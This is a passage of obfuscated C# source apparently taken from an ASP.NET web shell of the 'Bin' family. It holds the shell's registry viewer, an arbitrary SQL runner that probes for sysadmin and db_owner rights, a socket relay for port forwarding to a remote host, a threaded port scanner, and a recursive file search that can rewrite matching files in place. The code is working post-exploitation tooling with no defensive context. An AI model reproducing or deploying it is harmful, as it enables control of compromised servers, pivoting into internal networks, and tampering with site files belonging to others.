  2617.  
  2618. sk=rk;
  2619.  
  2620. }
  2621.  
  2622. foreach(string innerSubKey in sk.GetSubKeyNames())
  2623.  
  2624. {
  2625.  
  2626. tr=new TableRow();
  2627.  
  2628. tc=new TableCell();
  2629.  
  2630. bg=OKM();
  2631.  
  2632. tr.Attributes["onmouseover"]="this.className='focus';";
  2633.  
  2634. tr.CssClass=bg;
  2635.  
  2636. tr.Attributes["onmouseout"]="this.className='"+bg+"';";
  2637.  
  2638. tc.Width=Unit.Parse("40%");
  2639.  
  2640. tc.Text="<a href=\"javascript:Bin_PostBack('Bin_Regread','"+MVVJ(Reg_Path+innerSubKey)+"')\">"+innerSubKey+"</a>";
  2641.  
  2642. tr.Cells.Add(tc);
  2643.  
  2644. tc=new TableCell();
  2645.  
  2646. tc.Width=Unit.Parse("60%");
  2647.  
  2648. tc.Text="&lt;SubKey&gt;";
  2649.  
  2650. tr.Cells.Add(tc);
  2651.  
  2652. pLWD.Rows.Add(tr);
  2653.  
  2654. }
  2655.  
  2656. TableRow cKVA=new TableRow();
  2657.  
  2658. cKVA.Attributes["style"]="border-top:1px solid #fff;border-bottom:1px solid #ddd;";
  2659.  
  2660. cKVA.Attributes["bgcolor"]="#dddddd";
  2661.  
  2662. TableCell JlmW=new TableCell();
  2663.  
  2664. JlmW.Attributes["colspan"]="2" ;
  2665.  
  2666. JlmW.Attributes["height"]="5";
  2667.  
  2668. cKVA.Cells.Add(JlmW);
  2669.  
  2670. pLWD.Rows.Add(cKVA);
  2671.  
  2672. foreach(string strValueName in sk.GetValueNames())
  2673.  
  2674. {
  2675.  
  2676. tr=new TableRow();
  2677.  
  2678. tc=new TableCell();
  2679.  
  2680. bg=OKM();
  2681.  
  2682. tr.Attributes["onmouseover"]="this.className='focus';";
  2683.  
  2684. tr.CssClass=bg;
  2685.  
  2686. tr.Attributes["onmouseout"]="this.className='"+bg+"';";
  2687.  
  2688. tc.Width=Unit.Parse("40%");
  2689.  
  2690. tc.Text=strValueName;
  2691.  
  2692. tr.Cells.Add(tc);
  2693.  
  2694. tc=new TableCell();
  2695.  
  2696. tc.Width=Unit.Parse("60%");
  2697.  
  2698. tc.Text=DdmPl(sk,strValueName);
  2699.  
  2700. tr.Cells.Add(tc);
  2701.  
  2702. pLWD.Rows.Add(tr);
  2703.  
  2704. }
  2705.  
  2706. }
  2707.  
  2708. catch(Exception error)
  2709.  
  2710. {
  2711.  
  2712. xseuB(error.Message);
  2713.  
  2714. }
  2715.  
  2716. }
  2717.  
  2718. public string DdmPl(RegistryKey sk,string strValueName)
  2719.  
  2720. {
  2721.  
  2722. object uPZ;
  2723.  
  2724. string RaTGr="";
  2725.  
  2726. try
  2727.  
  2728. {
  2729.  
  2730. uPZ=sk.GetValue(strValueName,"NULL");
  2731.  
  2732. if(uPZ.GetType()==typeof(byte[]))
  2733.  
  2734. {
  2735.  
  2736. foreach(byte tmpbyte in(byte[])uPZ)
  2737.  
  2738. {
  2739.  
  2740. if((int)tmpbyte<16)
  2741.  
  2742. {
  2743.  
  2744. RaTGr+="0";
  2745.  
  2746. }
  2747.  
  2748. RaTGr+=tmpbyte.ToString("X");
  2749.  
  2750. }
  2751.  
  2752. }
  2753.  
  2754. else if(uPZ.GetType()==typeof(string[]))
  2755.  
  2756. {
  2757.  
  2758. foreach(string tmpstr in(string[])uPZ)
  2759.  
  2760. {
  2761.  
  2762. RaTGr+=tmpstr;
  2763.  
  2764. }
  2765.  
  2766. }
  2767.  
  2768. else
  2769.  
  2770. {
  2771.  
  2772. RaTGr=uPZ.ToString();
  2773.  
  2774. }
  2775.  
  2776. }
  2777.  
  2778. catch(Exception error)
  2779.  
  2780. {
  2781.  
  2782. xseuB(error.Message);
  2783.  
  2784. }
  2785.  
  2786. return RaTGr;
  2787.  
  2788. }
  2789.  
  2790. public void vNCHZ()
  2791.  
  2792. {
  2793.  
  2794. WICxe();
  2795.  
  2796. YwLB.Visible=true;
  2797.  
  2798. Bin_H2_Title.InnerText="PortScan >>";
  2799.  
  2800. }
  2801.  
  2802. public void rAhe()
  2803.  
  2804. {
  2805.  
  2806. WICxe();
  2807.  
  2808. iDgmL.Visible=true;
  2809.  
  2810. dQIIF.Visible=false;
  2811.  
  2812. Bin_H2_Title.InnerText="DataBase >>";
  2813.  
  2814. }
  2815.  
  2816. protected void OUj()
  2817.  
  2818. {
  2819.  
  2820. if(Dtdr.State==ConnectionState.Closed)
  2821.  
  2822. {
  2823.  
  2824. try
  2825.  
  2826. {
  2827.  
  2828. Dtdr.ConnectionString=MasR.Text;
  2829.  
  2830. Kkvb.Connection=Dtdr;
  2831.  
  2832. Dtdr.Open();
  2833.  
  2834. }
  2835.  
  2836. catch(Exception Error)
  2837.  
  2838. {
  2839.  
  2840. xseuB(Error.Message);
  2841.  
  2842. }
  2843.  
  2844. }
  2845.  
  2846. }
  2847.  
  2848. protected void fUzE()
  2849.  
  2850. {
  2851.  
  2852. if(Dtdr.State==ConnectionState.Open)
  2853.  
  2854. Dtdr.Close();
  2855.  
  2856. Dtdr.Dispose();
  2857.  
  2858. Kkvb.Dispose();
  2859.  
  2860. }
  2861.  
  2862. public DataTable CYUe(string sqlstr)
  2863.  
  2864. {
  2865.  
  2866. OleDbDataAdapter da=new OleDbDataAdapter();
  2867.  
  2868. DataTable Dstog=new DataTable();
  2869.  
  2870. try
  2871.  
  2872. {
  2873.  
  2874. OUj();
  2875.  
  2876. Kkvb.CommandType=CommandType.Text;
  2877.  
  2878. Kkvb.CommandText=sqlstr;
  2879.  
  2880. da.SelectCommand=Kkvb;
  2881.  
  2882. da.Fill(Dstog);
  2883.  
  2884. }
  2885.  
  2886. catch(Exception)
  2887.  
  2888. {
  2889.  
  2890. }
  2891.  
  2892. finally
  2893.  
  2894. {
  2895.  
  2896. fUzE();
  2897.  
  2898. }
  2899.  
  2900. return Dstog;
  2901.  
  2902. }
  2903.  
  2904. public DataTable[] Bin_Data(string query)
  2905.  
  2906. {
  2907.  
  2908. ArrayList list=new ArrayList();
  2909.  
  2910. try
  2911.  
  2912. {
  2913.  
  2914. string str;
  2915.  
  2916. OUj();
  2917.  
  2918. query=query+"\r\n";
  2919.  
  2920. MatchCollection gcod=new Regex("[\r\n][gG][oO][\r\n]").Matches(query);
  2921.  
  2922. int EmRX=0;
  2923.  
  2924. for(int i=0;i<gcod.Count;i++)
  2925.  
  2926. {
  2927.  
  2928. Match FJD=gcod[i];
  2929.  
  2930. str=query.Substring(EmRX,FJD.Index-EmRX);
  2931.  
  2932. if(str.Trim().Length>0)
  2933.  
  2934. {
  2935.  
  2936. OleDbDataAdapter FgzeQ=new OleDbDataAdapter();
  2937.  
  2938. Kkvb.CommandType=CommandType.Text;
  2939.  
  2940. Kkvb.CommandText=str.Trim();
  2941.  
  2942. FgzeQ.SelectCommand=Kkvb;
  2943.  
  2944. DataSet cDPp=new DataSet();
  2945.  
  2946. FgzeQ.Fill(cDPp);
  2947.  
  2948. for(int j=0;j<cDPp.Tables.Count;j++)
  2949.  
  2950. {
  2951.  
  2952. list.Add(cDPp.Tables[j]);
  2953.  
  2954. }
  2955.  
  2956. }
  2957.  
  2958. EmRX=FJD.Index+3;
  2959.  
  2960. }
  2961.  
  2962. str=query.Substring(EmRX,query.Length-EmRX);
  2963.  
  2964. if(str.Trim().Length>0)
  2965.  
  2966. {
  2967.  
  2968. OleDbDataAdapter VwB=new OleDbDataAdapter();
  2969.  
  2970. Kkvb.CommandType=CommandType.Text;
  2971.  
  2972. Kkvb.CommandText=str.Trim();
  2973.  
  2974. VwB.SelectCommand=Kkvb;
  2975.  
  2976. DataSet arG=new DataSet();
  2977.  
  2978. VwB.Fill(arG);
  2979.  
  2980. for(int k=0;k<arG.Tables.Count;k++)
  2981.  
  2982. {
  2983.  
  2984. list.Add(arG.Tables[k]);
  2985.  
  2986. }
  2987.  
  2988. }
  2989.  
  2990. }
  2991.  
  2992. catch(SqlException e)
  2993.  
  2994. {
  2995.  
  2996. xseuB(e.Message);
  2997.  
  2998. rom.Visible=false;
  2999.  
  3000. }
  3001.  
  3002. return(DataTable[])list.ToArray(typeof(DataTable));
  3003.  
  3004. }
  3005.  
  3006. public void JIAKU(string instr)
  3007.  
  3008. {
  3009.  
  3010. try
  3011.  
  3012. {
  3013.  
  3014. OUj();
  3015.  
  3016. Kkvb.CommandType=CommandType.Text;
  3017.  
  3018. Kkvb.CommandText=instr;
  3019.  
  3020. Kkvb.ExecuteNonQuery();
  3021.  
  3022. }
  3023.  
  3024. catch(Exception e)
  3025.  
  3026. {
  3027.  
  3028. xseuB(e.Message);
  3029.  
  3030. }
  3031.  
  3032. }
  3033.  
  3034. public void dwgT()
  3035.  
  3036. {
  3037.  
  3038. try
  3039.  
  3040. {
  3041.  
  3042. OUj();
  3043.  
  3044. if(WYmo.SelectedItem.Text=="MSSQL")
  3045.  
  3046. {
  3047.  
  3048. if(Pvf.SelectedItem.Value!="")
  3049.  
  3050. {
  3051.  
  3052. Dtdr.ChangeDatabase(Pvf.SelectedItem.Value.ToString());
  3053.  
  3054. }
  3055.  
  3056. }
  3057.  
  3058. DataTable[] jxF=null;
  3059.  
  3060. jxF=Bin_Data(jHIy.InnerText);
  3061.  
  3062. if(jxF!=null && jxF.Length>0)
  3063.  
  3064. {
  3065.  
  3066. for(int j=0;j<jxF.Length;j++)
  3067.  
  3068. {
  3069.  
  3070. rom.PreRender+=new EventHandler(lRavM);
  3071.  
  3072. rom.DataSource=jxF[j];
  3073.  
  3074. rom.DataBind();
  3075.  
  3076. for(int i=0;i<rom.Items.Count;i++)
  3077.  
  3078. {
  3079.  
  3080. string bg=OKM();
  3081.  
  3082. rom.Items[i].CssClass=bg;
  3083.  
  3084. rom.Items[i].Attributes["onmouseover"]="this.className='focus';";
  3085.  
  3086. rom.Items[i].Attributes["onmouseout"]="this.className='"+bg+"';";
  3087.  
  3088. }
  3089.  
  3090. }
  3091.  
  3092. }
  3093.  
  3094. else
  3095.  
  3096. {
  3097.  
  3098. rom.DataSource=null;
  3099.  
  3100. rom.DataBind();
  3101.  
  3102. }
  3103.  
  3104. rom.Visible=true;
  3105.  
  3106. }
  3107.  
  3108. catch(Exception e)
  3109.  
  3110. {
  3111.  
  3112. xseuB(e.Message);
  3113.  
  3114. rom.Visible=false;
  3115.  
  3116. }
  3117.  
  3118. }
  3119.  
  3120. public void xTZY()
  3121.  
  3122. {
  3123.  
  3124. try
  3125.  
  3126. {
  3127.  
  3128. if(WYmo.SelectedItem.Text=="MSSQL")
  3129.  
  3130. {
  3131.  
  3132. if(Pvf.SelectedItem.Value=="")
  3133.  
  3134. {
  3135.  
  3136. rom.DataSource=null;
  3137.  
  3138. rom.DataBind();
  3139.  
  3140. return;
  3141.  
  3142. }
  3143.  
  3144. }
  3145.  
  3146. OUj();
  3147.  
  3148. DataTable zKvOw=new DataTable();
  3149.  
  3150. DataTable jxF=new DataTable();
  3151.  
  3152. DataTable baVJV=new DataTable();
  3153.  
  3154. if(WYmo.SelectedItem.Text=="MSSQL" && Pvf.SelectedItem.Value!="")
  3155.  
  3156. {
  3157.  
  3158. Dtdr.ChangeDatabase(Pvf.SelectedItem.Text);
  3159.  
  3160. }
  3161.  
  3162. zKvOw=Dtdr.GetOleDbSchemaTable(OleDbSchemaGuid.Tables,new Object[] { null,null,null,"SYSTEM TABLE" });
  3163.  
  3164. jxF=Dtdr.GetOleDbSchemaTable(OleDbSchemaGuid.Tables,new Object[] { null,null,null,"TABLE" });
  3165.  
  3166. foreach(DataRow dr in zKvOw.Rows)
  3167.  
  3168. {
  3169.  
  3170. jxF.ImportRow(dr);
  3171.  
  3172. }
  3173.  
  3174. jxF.Columns.Remove("TABLE_CATALOG");jxF.Columns.Remove("TABLE_SCHEMA");jxF.Columns.Remove("DESCRIPTION");jxF.Columns.Remove("TABLE_PROPID");
  3175.  
  3176. rom.PreRender+=new EventHandler(lRavM);
  3177.  
  3178. rom.DataSource=jxF;
  3179.  
  3180. rom.DataBind();
  3181.  
  3182. for(int i=0;i<rom.Items.Count;i++)
  3183.  
  3184. {
  3185.  
  3186. string bg=OKM();
  3187.  
  3188. rom.Items[i].CssClass=bg;
  3189.  
  3190. rom.Items[i].Attributes["onmouseover"]="this.className='focus';";
  3191.  
  3192. rom.Items[i].Attributes["onmouseout"]="this.className='"+bg+"';";
  3193.  
  3194. }
  3195.  
  3196. rom.Visible=true;
  3197.  
  3198. }
  3199.  
  3200. catch(Exception e)
  3201.  
  3202. {
  3203.  
  3204. xseuB(e.Message);
  3205.  
  3206. rom.Visible=false;
  3207.  
  3208. }
  3209.  
  3210. }
  3211.  
  3212. private void lRavM(object sender,EventArgs e)
  3213.  
  3214. {
  3215.  
  3216. DataGrid d=(DataGrid)sender;
  3217.  
  3218. foreach(DataGridItem item in d.Items)
  3219.  
  3220. {
  3221.  
  3222. foreach(TableCell t in item.Cells)
  3223.  
  3224. {
  3225.  
  3226. t.Text=t.Text.Replace("<","&lt;").Replace(">","&gt;");
  3227.  
  3228. }
  3229.  
  3230. }
  3231.  
  3232. }
  3233.  
  3234. public void vCf()
  3235.  
  3236. {
  3237.  
  3238. dQIIF.Visible=true;
  3239.  
  3240. try
  3241.  
  3242. {
  3243.  
  3244. jHIy.InnerHtml=string.Empty;
  3245.  
  3246. if(WYmo.SelectedItem.Text=="MSSQL")
  3247.  
  3248. {
  3249.  
  3250. rom.Visible=false;
  3251.  
  3252. uXevN.Visible=true;
  3253.  
  3254. irTU.Visible=true;
  3255.  
  3256. OUj();
  3257.  
  3258. DataTable ver=CYUe(@"SELECT @@VERSION");
  3259.  
  3260. DataTable dbs=CYUe(@"SELECT name FROM master.dbo.sysdatabases");
  3261.  
  3262. DataTable cdb=CYUe(@"SELECT DB_NAME()");
  3263.  
  3264. DataTable rol=CYUe(@"SELECT IS_SRVROLEMEMBER('sysadmin')");
  3265.  
  3266. DataTable YKrm=CYUe(@"SELECT IS_MEMBER('db_owner')");
  3267.  
  3268. string jHlh=ver.Rows[0][0].ToString();
  3269.  
  3270. string dbo=string.Empty;
  3271.  
  3272. if(YKrm.Rows[0][0].ToString()=="1")
  3273.  
  3274. {
  3275.  
  3276. dbo="db_owner";
  3277.  
  3278. }
  3279.  
  3280. else
  3281.  
  3282. {
  3283.  
  3284. dbo="public";
  3285.  
  3286. }
  3287.  
  3288. if(rol.Rows[0][0].ToString()=="1")
  3289.  
  3290. {
  3291.  
  3292. dbo="<font color=blue>sa</font>";
  3293.  
  3294. }
  3295.  
  3296. string db_name=string.Empty;
  3297.  
  3298. foreach(ListItem item in FGEy.Items)
  3299.  
  3300. {
  3301.  
  3302.  if(item.Selected=true)
  3303.  
  3304.  {
  3305.  
  3306.  item.Selected=false;
  3307.  
  3308.  }
  3309.  
  3310. }
  3311.  
  3312. Pvf.Items.Clear();
  3313.  
  3314. Pvf.Items.Add("-- Select a DataBase --");
  3315.  
  3316. Pvf.Items[0].Value="";
  3317.  
  3318. for(int i=0;i<dbs.Rows.Count;i++)
  3319.  
  3320. {
  3321.  
  3322. db_name+=dbs.Rows[i][0].ToString().Replace(cdb.Rows[0][0].ToString(),"<font color=blue>"+cdb.Rows[0][0].ToString()+"</font>")+"&nbsp;|&nbsp;";
  3323.  
  3324. Pvf.Items.Add(dbs.Rows[i][0].ToString());
  3325.  
  3326. }
  3327.  
  3328. irTU.InnerHtml="<p><font color=red>MSSQL Version</font> : <i><b>"+jHlh+"</b></i></p><p><font color=red>SrvRoleMember</font> : <i><b>"+dbo+"</b></i></p>";
  3329.  
  3330. }
  3331.  
  3332. else
  3333.  
  3334. {
  3335.  
  3336. uXevN.Visible=false;
  3337.  
  3338. irTU.Visible=false;
  3339.  
  3340. xTZY();
  3341.  
  3342. }
  3343.  
  3344. }
  3345.  
  3346. catch(Exception e)
  3347.  
  3348. {
  3349.  
  3350. dQIIF.Visible=false;
  3351.  
  3352. }
  3353.  
  3354. }
  3355.  
  3356. public void MHLv()
  3357.  
  3358. {
  3359.  
  3360. WICxe();
  3361.  
  3362. hOWTm.Visible=true;
  3363.  
  3364. Bin_H2_Title.InnerText="PortMap >>";
  3365.  
  3366. }
  3367.  
  3368. public class PortForward
  3369.  
  3370. {
  3371.  
  3372. public string Localaddress;
  3373.  
  3374. public int LocalPort;
  3375.  
  3376. public string RemoteAddress;
  3377.  
  3378. public int RemotePort;
  3379.  
  3380. string type;
  3381.  
  3382. Socket ltcpClient;
  3383.  
  3384. Socket rtcpClient;
  3385.  
  3386. Socket server;
  3387.  
  3388. byte[] DPrPL=new byte[2048];
  3389.  
  3390. byte[] wvZv=new byte[2048];
  3391.  
  3392. public struct session
  3393.  
  3394. {
  3395.  
  3396. public Socket rdel;
  3397.  
  3398. public Socket ldel;
  3399.  
  3400. public int llen;
  3401.  
  3402. public int rlen;
  3403.  
  3404. }
  3405.  
  3406. public static IPEndPoint mtJ(string host,int port)
  3407.  
  3408. {
  3409.  
  3410. IPEndPoint iep=null;
  3411.  
  3412. IPHostEntry aGN=Dns.Resolve(host);
  3413.  
  3414. IPAddress rmt=aGN.AddressList[0];
  3415.  
  3416. iep=new IPEndPoint(rmt,port);
  3417.  
  3418. return iep;
  3419.  
  3420. }
  3421.  
  3422. public void Start(string Rip,int Rport,string lip,int lport)
  3423.  
  3424. {
  3425.  
  3426. try
  3427.  
  3428. {
  3429.  
  3430. LocalPort=lport;
  3431.  
  3432. RemoteAddress=Rip;
  3433.  
  3434. RemotePort=Rport;
  3435.  
  3436. Localaddress=lip;
  3437.  
  3438. rtcpClient=new Socket(AddressFamily.InterNetwork,SocketType.Stream,ProtocolType.Tcp);
  3439.  
  3440. ltcpClient=new Socket(AddressFamily.InterNetwork,SocketType.Stream,ProtocolType.Tcp);
  3441.  
  3442. rtcpClient.BeginConnect(mtJ(RemoteAddress,RemotePort),new AsyncCallback(iiGFO),rtcpClient);
  3443.  
  3444. }
  3445.  
  3446. catch (Exception ex) { }
  3447.  
  3448. }
  3449.  
  3450. protected void iiGFO(IAsyncResult ar)
  3451.  
  3452. {
  3453.  
  3454. try
  3455.  
  3456. {
  3457.  
  3458. session RKXy=new session();
  3459.  
  3460. RKXy.ldel=ltcpClient;
  3461.  
  3462. RKXy.rdel=rtcpClient;
  3463.  
  3464. ltcpClient.BeginConnect(mtJ(Localaddress,LocalPort),new AsyncCallback(VTp),RKXy);
  3465.  
  3466. }
  3467.  
  3468. catch (Exception ex) { }
  3469.  
  3470. }
  3471.  
  3472. protected void VTp(IAsyncResult ar)
  3473.  
  3474. {
  3475.  
  3476. try
  3477.  
  3478. {
  3479.  
  3480. session RKXy=(session)ar.AsyncState;
  3481.  
  3482. ltcpClient.EndConnect(ar);
  3483.  
  3484. RKXy.rdel.BeginReceive(DPrPL,0,DPrPL.Length,SocketFlags.None,new AsyncCallback(LFYM),RKXy);
  3485.  
  3486. RKXy.ldel.BeginReceive(wvZv,0,wvZv.Length,SocketFlags.None,new AsyncCallback(xPS),RKXy);
  3487.  
  3488. }
  3489.  
  3490. catch (Exception ex) { }
  3491.  
  3492. }
  3493.  
  3494. private void LFYM(IAsyncResult ar)
  3495.  
  3496. {
  3497.  
  3498. try
  3499.  
  3500. {
  3501.  
  3502. session RKXy=(session)ar.AsyncState;
  3503.  
  3504. int Ret=RKXy.rdel.EndReceive(ar);
  3505.  
  3506. if (Ret>0)
  3507.  
  3508. ltcpClient.BeginSend(DPrPL,0,Ret,SocketFlags.None,new AsyncCallback(JTcp),RKXy);
  3509.  
  3510. else lyTOK();
  3511.  
  3512. }
  3513.  
  3514. catch (Exception ex) { }
  3515.  
  3516. }
  3517.  
  3518. private void JTcp(IAsyncResult ar)
  3519.  
  3520. {
  3521.  
  3522. try
  3523.  
  3524. {
  3525.  
  3526. session RKXy=(session)ar.AsyncState;
  3527.  
  3528. RKXy.ldel.EndSend(ar);
  3529.  
  3530. RKXy.rdel.BeginReceive(DPrPL,0,DPrPL.Length,SocketFlags.None,new AsyncCallback(this.LFYM),RKXy);
  3531.  
  3532. }
  3533.  
  3534. catch (Exception ex) { }
  3535.  
  3536. }
  3537.  
  3538. private void xPS(IAsyncResult ar)
  3539.  
  3540. {
  3541.  
  3542. try
  3543.  
  3544. {
  3545.  
  3546. session RKXy=(session)ar.AsyncState;
  3547.  
  3548. int Ret=RKXy.ldel.EndReceive(ar);
  3549.  
  3550. if (Ret>0)
  3551.  
  3552. RKXy.rdel.BeginSend(wvZv,0,Ret,SocketFlags.None,new AsyncCallback(IZU),RKXy);
  3553.  
  3554. else lyTOK();
  3555.  
  3556. }
  3557.  
  3558. catch (Exception ex) { }
  3559.  
  3560. }
  3561.  
  3562. private void IZU(IAsyncResult ar)
  3563.  
  3564. {
  3565.  
  3566. try
  3567.  
  3568. {
  3569.  
  3570. session RKXy=(session)ar.AsyncState;
  3571.  
  3572. RKXy.rdel.EndSend(ar);
  3573.  
  3574. RKXy.ldel.BeginReceive(wvZv,0,wvZv.Length,SocketFlags.None,new AsyncCallback(this.xPS),RKXy);
  3575.  
  3576. }
  3577.  
  3578. catch (Exception ex) { }
  3579.  
  3580. }
  3581.  
  3582. public void lyTOK()
  3583.  
  3584. {
  3585.  
  3586. try
  3587.  
  3588. {
  3589.  
  3590. if (ltcpClient!=null)
  3591.  
  3592. {
  3593.  
  3594. ltcpClient.Close();
  3595.  
  3596. }
  3597.  
  3598. if (rtcpClient!=null)
  3599.  
  3600. rtcpClient.Close();
  3601.  
  3602. }
  3603.  
  3604. catch (Exception ex) { }
  3605.  
  3606. }
  3607.  
  3608. }
  3609.  
  3610. protected void vuou()
  3611.  
  3612. {
  3613.  
  3614. PortForward gYP=new PortForward();
  3615.  
  3616. gYP.lyTOK();
  3617.  
  3618. }
  3619.  
  3620. protected void ruQO()
  3621.  
  3622. {
  3623.  
  3624. PortForward gYP=new PortForward();
  3625.  
  3626. gYP.Start(llH.Value,int.Parse(ZHS.Value),eEpm.Value,int.Parse(iXdh.Value));
  3627.  
  3628. }
  3629.  
  3630. public string mRDl(string instr)
  3631.  
  3632. {
  3633.  
  3634. string tmp=null;
  3635.  
  3636. try
  3637.  
  3638. {
  3639.  
  3640. tmp=System.Net.Dns.Resolve(instr).AddressList[0].ToString();
  3641.  
  3642. }
  3643.  
  3644. catch(Exception e)
  3645.  
  3646. {
  3647.  
  3648. }
  3649.  
  3650. return tmp;
  3651.  
  3652. }
  3653.  
  3654. public void VikG()
  3655.  
  3656. {
  3657.  
  3658. string[] OTV=lOmX.Text.ToString().Split(',');
  3659.  
  3660. for(int i=0;i<OTV.Length;i++)
  3661.  
  3662. {
  3663.  
  3664. IVc.Add(new ScanPort(mRDl(MdR.Text.ToString()),Int32.Parse(OTV[i])));
  3665.  
  3666. }
  3667.  
  3668. try
  3669.  
  3670. {
  3671.  
  3672. Thread[] kbXY=new Thread[IVc.Count];
  3673.  
  3674. int sdO=0;
  3675.  
  3676. for(sdO=0;sdO<IVc.Count;sdO++)
  3677.  
  3678. {
  3679.  
  3680. kbXY[sdO]=new Thread(new ThreadStart(((ScanPort)IVc[sdO]).Scan));
  3681.  
  3682. kbXY[sdO].Start();
  3683.  
  3684. }
  3685.  
  3686. for(sdO=0;sdO<kbXY.Length;sdO++)
  3687.  
  3688. kbXY[sdO].Join();
  3689.  
  3690. }
  3691.  
  3692. catch
  3693.  
  3694. {
  3695.  
  3696. }
  3697.  
  3698. }
  3699.  
  3700. public class ScanPort
  3701.  
  3702. {
  3703.  
  3704. private string _ip="";
  3705.  
  3706. private int jTdO=0;
  3707.  
  3708. private TimeSpan _timeSpent;
  3709.  
  3710. private string QGcH="Not scanned";
  3711.  
  3712. public string ip
  3713.  
  3714. {
  3715.  
  3716. get { return _ip;}
  3717.  
  3718. }
  3719.  
  3720. public int port
  3721.  
  3722. {
  3723.  
  3724. get { return jTdO;}
  3725.  
  3726. }
  3727.  
  3728. public string status
  3729.  
  3730. {
  3731.  
  3732. get { return QGcH;}
  3733.  
  3734. }
  3735.  
  3736. public TimeSpan timeSpent
  3737.  
  3738. {
  3739.  
  3740. get { return _timeSpent;}
  3741.  
  3742. }
  3743.  
  3744. public ScanPort(string ip,int port)
  3745.  
  3746. {
  3747.  
  3748. _ip=ip;
  3749.  
  3750. jTdO=port;
  3751.  
  3752. }
  3753.  
  3754. public void Scan()
  3755.  
  3756. {
  3757.  
  3758. TcpClient iYap=new TcpClient();
  3759.  
  3760. DateTime qYZT=DateTime.Now;
  3761.  
  3762. try
  3763.  
  3764. {
  3765.  
  3766. iYap.Connect(_ip,jTdO);
  3767.  
  3768. iYap.Close();
  3769.  
  3770. QGcH="<font color=green><b>Open</b></font>";
  3771.  
  3772. }
  3773.  
  3774. catch
  3775.  
  3776. {
  3777.  
  3778. QGcH="<font color=red><b>Close</b></font>";
  3779.  
  3780. }
  3781.  
  3782. _timeSpent=DateTime.Now.Subtract(qYZT);
  3783.  
  3784. }
  3785.  
  3786. }
  3787.  
  3788. public static void YFcNP(System.Web.UI.Page page)
  3789.  
  3790. {
  3791.  
  3792. page.RegisterHiddenField("__EVENTTARGET","");
  3793.  
  3794. page.RegisterHiddenField("__FILE","");
  3795.  
  3796. string s=@"<script language=Javascript>";
  3797.  
  3798. s+=@"function Bin_PostBack(eventTarget,eventArgument)";
  3799.  
  3800. s+=@"{";
  3801.  
  3802. s+=@"var theform=document.forms[0];";
  3803.  
  3804. s+=@"theform.__EVENTTARGET.value=eventTarget;";
  3805.  
  3806. s+=@"theform.__FILE.value=eventArgument;";
  3807.  
  3808. s+=@"theform.submit();";
  3809.  
  3810. s+=@"} ";
  3811.  
  3812. s+=@"</scr"+"ipt>";
  3813.  
  3814. page.RegisterStartupScript("",s);
  3815.  
  3816. }
  3817.  
  3818. protected void PPtK(object sender,EventArgs e)
  3819.  
  3820. {
  3821.  
  3822. WICxe();
  3823.  
  3824. yhv.Visible=true;
  3825.  
  3826. Bin_H2_Title.InnerText="File Search >>";
  3827.  
  3828. NaLJ.Value=Request.PhysicalApplicationPath;
  3829.  
  3830. oJiym.Visible=false;
  3831.  
  3832. }
  3833.  
  3834. protected void NBy(object sender,EventArgs e)
  3835.  
  3836. {
  3837.  
  3838. DirectoryInfo GQMM=new DirectoryInfo(NaLJ.Value);
  3839.  
  3840. if(!GQMM.Exists)
  3841.  
  3842. {
  3843.  
  3844. xseuB("Path invalid ! ");
  3845.  
  3846. return;
  3847.  
  3848. }
  3849.  
  3850. oog(GQMM);
  3851.  
  3852. xseuB("Search completed ! ");
  3853.  
  3854. }
  3855.  
  3856. public void oog(DirectoryInfo dir)
  3857.  
  3858. {
  3859.  
  3860. try
  3861.  
  3862. {
  3863.  
  3864. oJiym.Visible=true;
  3865.  
  3866. foreach(FileInfo Bin_Files in dir.GetFiles())
  3867.  
  3868. {
  3869.  
  3870. try
  3871.  
  3872. {
  3873.  
  3874. if(Bin_Files.FullName==Request.PhysicalPath)
  3875.  
  3876. {
  3877.  
  3878. continue;
  3879.  
  3880. }
  3881.  
  3882. if(!Regex.IsMatch(Bin_Files.Extension.Replace(".",""),"^("+UDLvA.Value+")$",RegexOptions.IgnoreCase))
  3883.  
  3884. {
  3885.  
  3886. continue;
  3887.  
  3888. }
  3889.  
  3890. if(Ven.SelectedItem.Value=="name")
  3891.  
  3892. {
  3893.  
  3894. if(rAQ.Checked)
  3895.  
  3896. {
  3897.  
  3898. if(Regex.IsMatch(Bin_Files.Name,iaMKl.Value,RegexOptions.IgnoreCase))
  3899.  
  3900. {
  3901.  
  3902. FJvQ(Bin_Files);
  3903.  
  3904. }
  3905.  
  3906. }
  3907.  
  3908. else
  3909.  
  3910. {
  3911.  
  3912. if(Bin_Files.Name.ToLower().IndexOf(iaMKl.Value.ToLower())!=-1)
  3913.  
  3914. {
  3915.  
  3916. Response.Write(Bin_Files.FullName);
  3917.  
  3918. FJvQ(Bin_Files);
  3919.  
  3920. }
  3921.  
  3922. }
  3923.  
  3924. }
  3925.  
  3926. else
  3927.  
  3928. {
  3929.  
  3930. StreamReader sr=new StreamReader(Bin_Files.FullName,Encoding.Default);
  3931.  
  3932. string ava=sr.ReadToEnd();
  3933.  
  3934. sr.Close();
  3935.  
  3936. if(rAQ.Checked)
  3937.  
  3938. {
  3939.  
  3940. if(Regex.IsMatch(ava,iaMKl.Value,RegexOptions.IgnoreCase))
  3941.  
  3942. {
  3943.  
  3944. FJvQ(Bin_Files);
  3945.  
  3946. if(YZw.Checked)
  3947.  
  3948. {
  3949.  
  3950. ava=Regex.Replace(ava,iaMKl.Value,qPe.Value,RegexOptions.IgnoreCase);
  3951.  
  3952. StreamWriter sw=new StreamWriter(Bin_Files.FullName,false,Encoding.Default);
  3953.  
  3954. sw.Write(ava);
  3955.  
  3956. sw.Close();
  3957.  
  3958. }
  3959.  
  3960. }
  3961.  
  3962. }
  3963.  
  3964. else
  3965.  
  3966. {
  3967.  
  3968. if(ava.ToLower().IndexOf(iaMKl.Value.ToLower())!=-1)
  3969.  
  3970. {
  3971.  
  3972. FJvQ(Bin_Files);
  3973.  
  3974. if(YZw.Checked)
  3975.  
  3976. {
  3977.  
  3978. ava=Strings.Replace(ava,iaMKl.Value,qPe.Value,1,-1,CompareMethod.Text);
  3979.  
  3980. StreamWriter sw=new StreamWriter(Bin_Files.FullName,false,Encoding.Default);
  3981.  
  3982. sw.Write(ava);
  3983.  
  3984. sw.Close();
  3985.  
  3986. }
  3987.  
  3988. }
  3989.  
  3990. }
  3991.  
  3992. }
  3993.  
  3994. }
  3995.  
  3996. catch(Exception ex)
  3997.  
  3998. {
  3999.  
  4000. xseuB(ex.Message);
  4001.  
  4002. continue;
  4003.  
  4004. }
  4005.  
  4006. }
  4007.  
  4008. foreach(DirectoryInfo subdir in dir.GetDirectories())
  4009.  
  4010. {
  4011.  
  4012. oog(subdir);
